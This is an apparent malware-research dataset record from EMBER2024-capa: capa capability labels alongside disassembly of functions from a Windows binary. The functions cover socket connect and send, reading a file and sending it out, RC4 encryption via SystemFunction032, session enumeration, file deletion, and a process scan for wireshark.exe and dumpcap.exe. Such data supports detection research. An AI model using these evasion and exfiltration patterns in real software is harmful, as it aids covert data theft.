joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011091
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140015730
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
mov rax, qword [0x140022048]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
lea rcx, [0x1400283cc]
call fcn.1400114a1
mov qword [rbp + 0x238], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
je 0x1400157c8
mov edx, dword [rbp + 0x254]
lea rcx, str.____WSAStartup_failed:__d_n
call fcn.14001121c
xor eax, eax
jmp 0x14001594f
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x14001580d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Socket_creation_failed:__ld_n
call fcn.14001121c
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001594f
mov eax, 2
mov word [rbp + 0x1e8], ax
movzx ecx, word [rbp + 0x418]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea r8, [rbp + 0x1ec]
mov rdx, qword [rbp + 0x410]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140015893
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Connection_failed:__ld_n
call fcn.14001121c
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001594f
mov eax, dword [rbp + 0x428]
cmp qword [rbp + 0x238], rax
jae 0x140015937
mov eax, dword [rbp + 0x428]
sub rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x420]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x140015917
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Send_failed:__ld_n
call fcn.14001121c
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14001594f
movsxd rax, dword [rbp + 0x214]
mov rcx, qword [rbp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
jmp 0x140015893
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f8c0]
call fcn.140011410
mov rax, rdi
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x140011113
Capabilities:
Convert ip address from string

Disassembly:
jmp 0x140015310
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140022048]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400283cc]
call fcn.1400114a1
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140015394
lea rcx, str.strdup_failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
xor eax, eax
jmp 0x140015470
mov edx, 0x3a
mov rcx, qword [rbp + 8]
call fcn.14001105a
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140015453
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov r8d, send
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, 1
imul rax, rax, 0xf
mov rcx, qword [rbp + 0x168]
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x28]
inc rax
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rcx, qword [rbp + 0x170]
mov dword [rcx], eax
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x168]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140015443
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
shl rax, 0x10
mov rcx, qword [rbp + 0x170]
movsxd rcx, dword [rcx]
or rax, rcx
mov rcx, qword [rbp + 0x178]
mov qword [rcx], rax
jmp 0x140015451
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140015470
jmp 0x140015461
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x140015470
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f950]
call fcn.140011410
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400111b8
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140017814
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1400178a1
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400178a1
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400178a1
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140017888
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140017882
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14001788a
add rdx, 0x28
jmp 0x140017867
xor edx, edx
test rdx, rdx
jne 0x140017893
xor al, al
jmp 0x1400178a7
cmp dword [rdx + 0x24], 0
jge 0x14001789d
xor al, al
jmp 0x1400178a7
mov al, 1
jmp 0x1400178a7
xor al, al
jmp 0x1400178a7
add rsp, 0x18
ret

Function at 0x1400111db
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140013260
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x140022048]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x140028233]
call fcn.1400114a1
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140013347
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.14001121c
xor eax, eax
jmp 0x14001334c
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001e970]
call fcn.140011410
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140011299
Capabilities:
Terminate process

Disassembly:
jmp 0x14001615c
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140011348
Capabilities:
Terminate process

Disassembly:
jmp 0x1400169ac
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.1400114d3
test al, al
je 0x140016877
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.14001142e
mov bl, al
mov ecx, dword [0x140022880]
cmp ecx, 1
je 0x140016882
test ecx, ecx
jne 0x1400167ad
mov dword [0x140022880], 1
lea rdx, [0x14001d660]
lea rcx, [0x14001d330]
call fcn.140011221
test eax, eax
je 0x14001678e
mov eax, 0xff
jmp 0x140016867
lea rdx, [0x14001d220]
lea rcx, [section..rdata]
call fcn.140011424
mov dword [0x140022880], 2
jmp 0x1400167b5
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.140011406
call fcn.14001137a
mov rbx, rax
cmp qword [rax], 0
je 0x1400167e8
mov rcx, rax
call fcn.1400111b8
test al, al
je 0x1400167e8
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140029020]
call fcn.1400113bb
mov rbx, rax
cmp qword [rax], 0
je 0x14001680a
mov rcx, rax
call fcn.1400111b8
test al, al
je 0x14001680a
mov rcx, qword [rbx]
call fcn.140011488
call fcn.1400110b9
mov rdi, rax
call fcn.1400113fc
mov rbx, qword [rax]
call fcn.1400113b1
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call fcn.140011343
mov ebx, eax
call fcn.14001134d
test al, al
je 0x14001688c
test sil, sil
jne 0x140016841
call fcn.140011492
xor edx, edx
mov cl, 1
call fcn.1400111a4
mov eax, ebx
jmp 0x140016867
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.14001141a
nop
mov ecx, 7
call fcn.14001141a
mov ecx, ebx
call fcn.14001106e
nop
mov ecx, ebx
call fcn.1400112c1
nop
int3
sub rsp, 0x28
call fcn.140011361
add rsp, 0x28
jmp 0x140016720

Function at 0x14001134d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017dc8
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017e12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017e12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017e12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017e12
cmp dword [rcx + 0x84], 0xe
jbe 0x140017e12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017e14
xor al, al
add rsp, 0x28
ret
Function at 0x1400113b6
Capabilities:
Delete file

Disassembly:
jmp 0x140015220
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400283cc]
call fcn.1400114a1
lea rdx, [0x14001fac4]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400152cd
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1400152a2
cmp dword [rbp + 0x108], 0
je 0x140015299
mov rdx, qword [rbp + 0x100]
lea rcx, str._i___s_Deleted._n
call fcn.14001121c
mov eax, 1
jmp 0x1400152cf
cmp dword [rbp + 0x108], 0
je 0x1400152c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x100]
lea rcx, str.____Error_deleting_file__s:__d_n
call fcn.14001121c
xor eax, eax
jmp 0x1400152cf
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001146a
Capabilities:
Write file on windows

Disassembly:
jmp 0x140015a20
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1400283cc]
call fcn.1400114a1
lea rdx, [0x14001f974]
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140015a8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.14001121c
jmp 0x140015b05
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x168]
mov edx, 1
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x168]
cmp qword [rbp + 0x48], rax
je 0x140015adf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x64], eax
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.14001121c
jmp 0x140015afb
cmp dword [rbp + 0x178], 0
je 0x140015afb
mov rdx, qword [rbp + 0x170]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.14001121c
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140011474
Capabilities:
Write file on windows

Disassembly:
jmp 0x140015b50
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140022048]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400283cc]
call fcn.1400114a1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140015be1
xor eax, eax
jmp 0x140015c84
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140015c13
lea rcx, str.____Memory_allocation_failed_n
call fcn.14001121c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140015c84
mov r8, qword [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call fcn.1400113a7
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140015c75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
lea rcx, str.____Failed_to_write_to_file__s:__d_n
call fcn.14001121c
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140015c84
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f760]
call fcn.140011410
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140011235
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140003100
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1060
call fcn.140011420
sub rsp, rax
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400031a1
nop
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400031a1
mov r9d, eax
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.14000a200
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003160
mov rax, qword [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
cmp qword [rsp + 0x38], rax
je 0x1400031fe
lea rdx, str.Sending_data_of_size:
call fcn.1400087b0
mov rdx, qword [rsp + 0x40]
sub rdx, qword [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140008b70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
sub r8, rdx
xor r9d, r9d
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x14000321b
lea rdx, str.No_data_to_send.
call fcn.1400087b0
lea rdx, [0x140008b70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000325a
mov rdx, qword [rsp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003255
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003255
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400109f0
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400103e0
lea r11, [rsp + 0x1060]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400068f0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11c0]
mov eax, 0x12c0
call fcn.140011420
sub rsp, rax
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x11b0], rax
lea r8, [rsp + 0x78]
mov edx, 0x1000
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140006ae9
mov r12d, dword [rsp + 0x78]
shr r12d, 2
movups xmm0, xmmword [str._unknown_]
movaps xmmword [rbp + 0xfa0], xmm0
mov eax, dword [0x1400146c8]
mov dword [rbp + 0xfb0], eax
xor edx, edx
mov r8d, 0x1f4
lea rcx, [rbp + 0xfb4]
call sub.VCRUNTIME140.dll_memset
xor r13d, r13d
mov r15d, r13d
test r12d, r12d
je 0x140006ae9
lea r14, [rbp - 0x60]
mov r8d, dword [r14]
test r8d, r8d
je 0x140006ad9
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140006ad9
lea r9, [rbp - 0x68]
mov r8d, 8
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140006ad0
mov r9d, 0x104
lea r8, [rbp + 0xfa0]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rax + 0xd]
lea rdx, str.wireshark.exe
lea rcx, [rsp + 0x30]
call fcn.1400093f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, recv
lea rdx, str.dumpcap.exe
lea rcx, [rsp + 0x50]
call fcn.1400093f0
nop
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140007460
nop
lea r9, [fcn.140001ea0]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x30]
call fcn.1400106d8
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rbp - 0x78]
cmp rbx, rdi
je 0x140006ac7
nop word [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140006aad
mov rdx, qword [rbx]
lea rcx, [rbp + 0xfa0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140006b1b
add rbx, 0x20
cmp rbx, rdi
jne 0x140006aa0
lea rcx, [rbp - 0x80]
call fcn.1400084b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r15d
add r14, 4
cmp r15d, r12d
jb 0x140006994
xor al, al
mov rcx, qword [rbp + 0x11b0]
xor rcx, rsp
call fcn.1400103e0
lea r11, [rsp + 0x12c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x80]
call fcn.1400084b0
mov al, 1
jmp 0x140006aeb
Function at 0x140006eb0
Capabilities:
Get session information
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r14, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x50], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], rbp
lea r8d, [rbp + 7]
lea rdx, str.Unknown
call fcn.1400012b0
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
lea r8d, [rbp + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsA]
test eax, eax
je 0x140007016
mov rdi, qword [rsp + 0x40]
mov qword [rsp + 0x58], rdi
mov esi, ebp
cmp dword [rsp + 0x50], ebp
jbe 0x140007008
nop
mov eax, esi
lea rcx, [rax + rax*2]
mov rax, qword [rsp + 0x40]
cmp dword [rax + rcx*8 + 0x10], 0
jne 0x140006faf
mov qword [rsp + 0x48], rbp
mov dword [rsp + 0x54], ebp
lea rdx, [rsp + 0x54]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x48]
mov r8d, 5
mov edx, dword [rax + rcx*8]
xor ecx, ecx
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x140006faf
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x60], rbx
mov eax, dword [rsp + 0x54]
test eax, eax
jne 0x140006fb9
test rbx, rbx
je 0x140006faf
mov rcx, rbx
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
inc esi
cmp esi, dword [rsp + 0x50]
jb 0x140006f50
jmp 0x140007008
lea esi, [rax - 1]
mov rax, qword [r14 + 0x18]
cmp rsi, rax
ja 0x140006fea
mov r15, r14
cmp rax, 0xf
jbe 0x140006fd1
mov r15, qword [r14]
mov qword [r14 + 0x10], rsi
mov r8, rsi
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov byte [r15 + rsi], 0
jmp 0x140006ff9
mov r9, rbx
mov rdx, rsi
mov rcx, r14
call fcn.140009680
nop
test rbx, rbx
je 0x140007008
mov rcx, rbx
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
nop
test rdi, rdi
je 0x140007016
mov rcx, rdi
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov rax, r14
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400103e0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret